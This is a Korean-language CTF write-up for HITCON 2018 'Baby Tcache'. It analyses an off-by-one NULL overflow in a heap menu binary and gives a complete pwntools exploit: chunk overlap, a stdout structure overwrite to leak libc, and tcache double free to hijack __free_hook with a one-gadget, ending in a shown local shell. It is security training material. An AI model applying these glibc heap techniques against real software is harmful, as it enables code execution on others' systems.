Source
https://github.com/integeruser/on-pwning/tree/master/2018-hitcon/Baby-Tcache
checksec
checksec ./baby_tcache [*] '/home/ubuntu/study/baby_tcache/baby_tcache' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Decompiled-src / Analysis
main
전에 봤던 childheap 문제와 같이
- new_heap
- delete_heap
2가지 메뉴만 존재하고 print_heap 같은 힙 내용 출력을 할 수 없다.
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 menu; // rax initialize(a1, a2, a3); while ( 1 ) { while ( 1 ) { print_help(); menu = read_number_by_atoll(); if ( menu != 2 ) break; delete_heap(); } if ( menu == 3 ) _exit(0); if ( menu == 1 ) new_heap(); else puts("Invalid Choice"); } }
1. new_heap
idx는 0~9, malloc size는 0x2000이하 조건하에
할당된 슬롯에다가 데이터를 저장할 수 있다.
int new_heap() { _QWORD *v0; // rax int i; // [rsp+Ch] [rbp-14h] _BYTE *v3; // [rsp+10h] [rbp-10h] unsigned __int64 size; // [rsp+18h] [rbp-8h] for ( i = 0; ; ++i ) { if ( i > 9 ) { LODWORD(v0) = puts(":("); return (int)v0; } if ( !qword_202060[i] ) break; } printf("Size:"); size = read_number_by_atoll(); if ( size > 0x2000 ) exit(-2); v3 = malloc(size); if ( !v3 ) exit(-1); printf("Data:"); read_data(v3, (unsigned int)size); v3[size] = 0; qword_202060[i] = v3; v0 = qword_2020C0; qword_2020C0[i] = size; return (int)v0; }
2. delete_heap
idx를 입력하면, 할당된 heap 내용에 전부다 0xDA로 memset시킨다.
그런다음 free시키고, 전역주소에 있던 저장된 할당주소와 할당크기를 0으로 초기화한다.
int delete_heap() { unsigned __int64 idx; // [rsp+8h] [rbp-8h] printf("Index:"); idx = read_number_by_atoll(); if ( idx > 9 ) exit(-3); if ( qword_202060[idx] ) { memset((void *)qword_202060[idx], 0xDA, qword_2020C0[idx]); free((void *)qword_202060[idx]); qword_202060[idx] = 0; qword_2020C0[idx] = 0; } return puts(":)"); }
Solution
1. 청크 오버랩핑
tcache chunk는 0x410 크기의 힙을 할당시 해당되지 않기 때문에
먼저, 그 이상의 크기인 0x410 크기의 힙을 생성한다.
new_heap(0x410, b"A"*8) #0
그러면 아래와 같이 0x420 크기의 청크가 생긴다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None

이어서 차례대로 다음 크기의 청크를 할당시킨다.
new_heap(0x60, b"B"*8) #1 new_heap(0x60, b"C"*8) #2 new_heap(0x4f0, b"D"*8) #3 new_heap(0xf0, b"E"*8) #4
그럼 다음과 같은 결과를 가진다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x0 0x70 Used None None 0x5555556036e0 0x0 0x70 Used None None 0x555555603750 0x0 0x500 Used None None 0x555555603c50 0x0 0x100 Used None None

그리고 2번 인덱스에 할당된 청크를 free해본다.
delete_heap(2)
그러면,
0x70 크기를 관리하는 tcache 리스트에 free된 청크가 들어간다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x0 0x70 Used None None 0x5555556036e0 0x0 0x70 Freed 0x0 None 0x555555603750 0x0 0x500 Used None None 0x555555603c50 0x0 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x70) tcache_entry[5](1): 0x5555556036f0 gdb-peda$ p *(tcache_entry *)0x5555556036f0 $1 = { next = 0x0, key = 0x555555603010 }

fake 청크를 만들어서 오버래핑하기 위한 준비과정으로 보인다.
new_heap(0x68, b'a'*0x60 + p64(0x500))
그리고 힙을 살펴보면, 이상한 점을 발견할 수 있다.
0x70 크기를 관리하는 tcache로부터 다시 할당받으면,
0x5555556036e0 청크는 Used로 힙 사용중이라고 나타나야 하는데 그렇지 않다.
여전히 Freed로 나온다 !!!
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x0 0x70 Used None None 0x5555556036e0 0x0 0x70 Freed 0x61616161616161610x6161616161616161 0x555555603750 0x500 0x500 Used None None 0x555555603c50 0x0 0x100 Used None None

이러한 이유는 사실
new_heap 함수를 자세히 살펴보면,v3[size] = 0
코드에서 off-by-one NULL byte overflow 취약점이 발생한다.
따라서 malloc size & 8 == 8일 경우, next chunk 크기에 덮어질 수 있다.

다음으로 0번, 3번, 1번 인덱스의 청크를 차례대로 free해본다.
- 0번 인덱스를 free.
delete_heap(0)
결과
free된 0번 청크는 크기가 0x420으로, tcache에 해당되지 않기에
unsorted bin 리스트에 들어갔다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603670 0x420 0x70 Used None None 0x5555556036e0 0x0 0x70 Freed 0x61616161616161610x6161616161616161 0x555555603750 0x500 0x500 Used None None 0x555555603c50 0x0 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555603250 (size : 0x420)
unsorted bin 리스트에 들어간 힙 특성상 fd, bk에 main_arena+96 주소가 들어간다.

2. 3번 인덱스를 free.
delete_heap(3)
결과
0x555555603250 청크가 Free된 상태인데, 0xa00으로 크기가 대폭 증가하였다.
0x555555603250 청크는 unsorted bin이며,
추정한바로는 chunk overlapping이 발생한게 아닐까 싶다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0xa00 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603c50 0xa00 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555603250 (size : 0xa00)
힙을 더 살펴보니, 한가지 얻은 힌트는 0x555555603750 지점인 것 같다.
이전 new_heap(0x68, b'a'*0x60 + p64(0x500))
코드의 0x500이라는 fake_prev가 들어가져있기 때문에
0x555555603760 alloc된 주소를 free시킬려 하면,
mchunk_size에는 PREV_IN_USE 비트가 꺼져있고 쓰여진 fake_prev에 의해
0x555555603750-0x500 = 0x555555603250으로, free된 청크의 시작점이 될 수 있을 것이다.
PREV_INUSE 비트가 꺼져있다는 의미는 위,
그러니까 바로 인정합 낮은 주소의 청크가 FREE된 상태를 의미한다.
아무튼 chunk overlapping이 발생한듯 보였다.

- 마지막으로 1번 인덱스 청크를 Free해본다.
delete_heap(1)
결과
unsortbin: 0x555555603250 (overlap chunk with 0x555555603670(freed) )
(0x70) tcache_entry5: 0x555555603680
위와 같이 unsorted bin에서 overlap chunk가 나타나고,
tcache_entry에 0x555555603680 청크가 들어갔다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0xa00 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603c50 0xa00 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555603250 (overlap chunk with 0x555555603670(freed) ) (0x70) tcache_entry[5](1): 0x555555603680

new_heap(0x410, b'b'*8)
결과
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x400 0x5e0 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603c50 0x5e0 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555603670 (overlap chunk with 0x555555603670(freed) ) (0x70) tcache_entry[5](1): 0x555555603680 --> 0x7ffff7dcdca0 --> 0x555555603d50

new_heap(0x100, p16(0xe760))
결과
이제 앞으로 0x60 크기로 malloc을 하게 된다면, tcache_entry 리스트로부터 차례대로
0x555555603680, 0x7ffff7dce760 청크를 할당받게 된다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x400 0x110 Freed 0x7ffff7dce760 None 0x555555603780 0xdadadadadadada00 0x4d0 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603c50 0x4d0 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x555555603780 (size : 0x4d0) unsortbin: 0x555555603780 (size : 0x4d0) (0x70) tcache_entry[5](1): 0x555555603680 --> 0x7ffff7dce760 --> 0xfbad2887 (invaild memory)

3. new_heap(0x60, b"\x60")
결과
0x555555603680 청크를 할당받았다.
추후 할당받는 청크는 0x7ffff7dce760인 stdout 구조체 주소이다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x400 0x110 Used None None 0x555555603780 0xdadadadadadada00 0x4d0 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603c50 0x4d0 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x555555603780 (size : 0x4d0) unsortbin: 0x555555603780 (size : 0x4d0) (0x70) tcache_entry[5](0): 0x7ffff7dce760 --> 0xfbad2887 (invaild memory)
힙 내용에는 거의 변화가 없었다.

2. stdout 주소에 AAW, leak을 통해 libc base 구하기
이제 0x7ffff7dce760 청크로 할당받아 AAW, leak을 하여 libc 주소를 구한다.
pay = p64(0xfbad1800) pay += p64(0)*3 pay += p8(0) # ip() new_heap(0x60, pay) leak = r() leak = leak[0xc8:0xc8+8] leak = uu64(leak) info(f"leak: {hex(leak)}") l.address = leak - l.sym._IO_2_1_stdin_ success(f"libc base: {hex(l.address)}")
3. double free하여 free_hook에 onegadget 덮어 쉘얻기
delete_heap(3) delete_heap(1)
인덱스 1번과 3번은 서로 같은 주소를 가리킨다.
gdb-peda$ x/17gx 0x0000555555400000+0x202060 0x555555602060: 0x0000555555603260 0x0000555555603680 (1) 0x555555602070: 0x00005555556036f0 0x0000555555603680 (3) 0x555555602080: 0x0000555555603c60 0x00007ffff7dce760 0x555555602090: 0x0000000000000000 0x0000000000000000 0x5555556020a0: 0x0000000000000000 0x0000000000000000 0x5555556020b0: 0x0000000000000000 0x0000000000000000 0x5555556020c0: 0x0000000000000410 0x0000000000000100 0x5555556020d0: 0x0000000000000068 0x0000000000000060 0x5555556020e0: 0x00000000000000f0
결과
delete_heap(3)
만 했을때의 결과
하나의 tcache 리스트에 들어간다.
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x555555603780 (size : 0x4d0) unsortbin: 0x555555603780 (size : 0x4d0) (0x70) tcache_entry[5](255): 0xfbad2887 (invaild memory) (0x110) tcache_entry[15](1): 0x555555603680
delete_heap(1)
까지 했을때의 결과
0x110 청크를 관린하는 tcache 리스트에 2개가 생기는데, 오버랩 청크로써
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x400 0x110 Freed 0x555555603680 None 0x555555603780 0xdadadadadadada00 0x4d0 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603c50 0x4d0 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x555555603780 (size : 0x4d0) unsortbin: 0x555555603780 (size : 0x4d0) (0x70) tcache_entry[5](255): 0xfbad2887 (invaild memory) (0x110) tcache_entry[15](2): 0x555555603680 --> 0x555555603680 (overlap chunk with 0x555555603670(freed) )
0x100 힙을 할당해 꺼내서 값을 쓴다면,
where = l.sym.__free_hook what = l.address + 0x4f302 new_heap(0x100, p64(where)) #1
결과
그 값은 곧 추후 값써질 대상 주소를 의미한다.
gdb-peda$ parseheap addr prev size status fd bk 0x555555603000 0x0 0x250 Used None None 0x555555603250 0x0 0x420 Used None None 0x555555603670 0x400 0x110 Freed 0x7ffff7dcf8e8 None 0x555555603780 0xdadadadadadada00 0x4d0 Freed 0x7ffff7dcdca0 0x7ffff7dcdca0 0x555555603c50 0x4d0 0x100 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555603d50 (size : 0x202b0) last_remainder: 0x555555603780 (size : 0x4d0) unsortbin: 0x555555603780 (size : 0x4d0) (0x70) tcache_entry[5](255): 0xfbad2887 (invaild memory) (0x110) tcache_entry[15](1): 0x555555603680 --> 0x7ffff7dcf8e8 (__free_hook)
onegdaget으로 __free_hook을 덮고, free 호출하여 쉘 얻는다.
new_heap(0x100, p64(0x4142434445464748)) #3 new_heap(0x100, p64(what)) delete_heap(3) pi() break
solve.py
#!/usr/bin/env python3 import sys, io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace') sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace') from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') while True: p = process("./baby_tcache") # p = remote("challenge.nahamcon.com", 31899) e = ELF('./baby_tcache',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # l = ELF('./libc.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() def new_heap(size, data): sla("Your choice: ", "1") sla("Size:", str(size)) sa(b"Data:", data) def delete_heap(idx): sl("2") sla("Index:", str(idx)) new_heap(0x410, b"A"*8) #0 new_heap(0x60, b"B"*8) #1 new_heap(0x60, b"C"*8) #2 new_heap(0x4f0, b"D"*8) #3 new_heap(0xf0, b"E"*8) #4 delete_heap(2) # ip() new_heap(0x68, b'a'*0x60 + p64(0x500)) #2 # ip() delete_heap(0) delete_heap(3) delete_heap(1) #? # ip() new_heap(0x410, b'b'*8) #0 # ip() new_heap(0x100, p16(0xe760)) #1 # ip() new_heap(0x60, b"\x60") #3 # ip() pay = p64(0xfbad1800) pay += p64(0)*3 pay += p8(0) # ip() try: new_heap(0x60, pay) # pause() except: p.close() continue leak = r() leak = leak[0xc8:0xc8+8] leak = uu64(leak) info(f"leak: {hex(leak)}") l.address = leak - l.sym._IO_2_1_stdin_ success(f"libc base: {hex(l.address)}") delete_heap(3) delete_heap(1) # ip() where = l.sym.__free_hook what = l.address + 0x4f302 new_heap(0x100, p64(where)) #1 new_heap(0x100, p64(0x4142434445464748)) #3 new_heap(0x100, p64(what)) delete_heap(3) pi() break
Result
ubuntu@230e8fc3a277:~/study/baby_tcache$ python3 solve2.py [+] Starting local process './baby_tcache': pid 14428 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14428) [+] Starting local process './baby_tcache': pid 14432 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14432) [+] Starting local process './baby_tcache': pid 14434 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14434) [+] Starting local process './baby_tcache': pid 14436 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14436) [+] Starting local process './baby_tcache': pid 14438 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] leak: 0x7f21c99ada00 [+] libc base: 0x7f21c95c2000 [*] Switching to interactive mode $ ls baby_tcache libc.so.6 solve.py solve3.py d peda-session-baby_tcache.txt solve2.py $ uname -a Linux 230e8fc3a277 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) $ [*] Interrupted [*] Stopped process './baby_tcache' (pid 14438)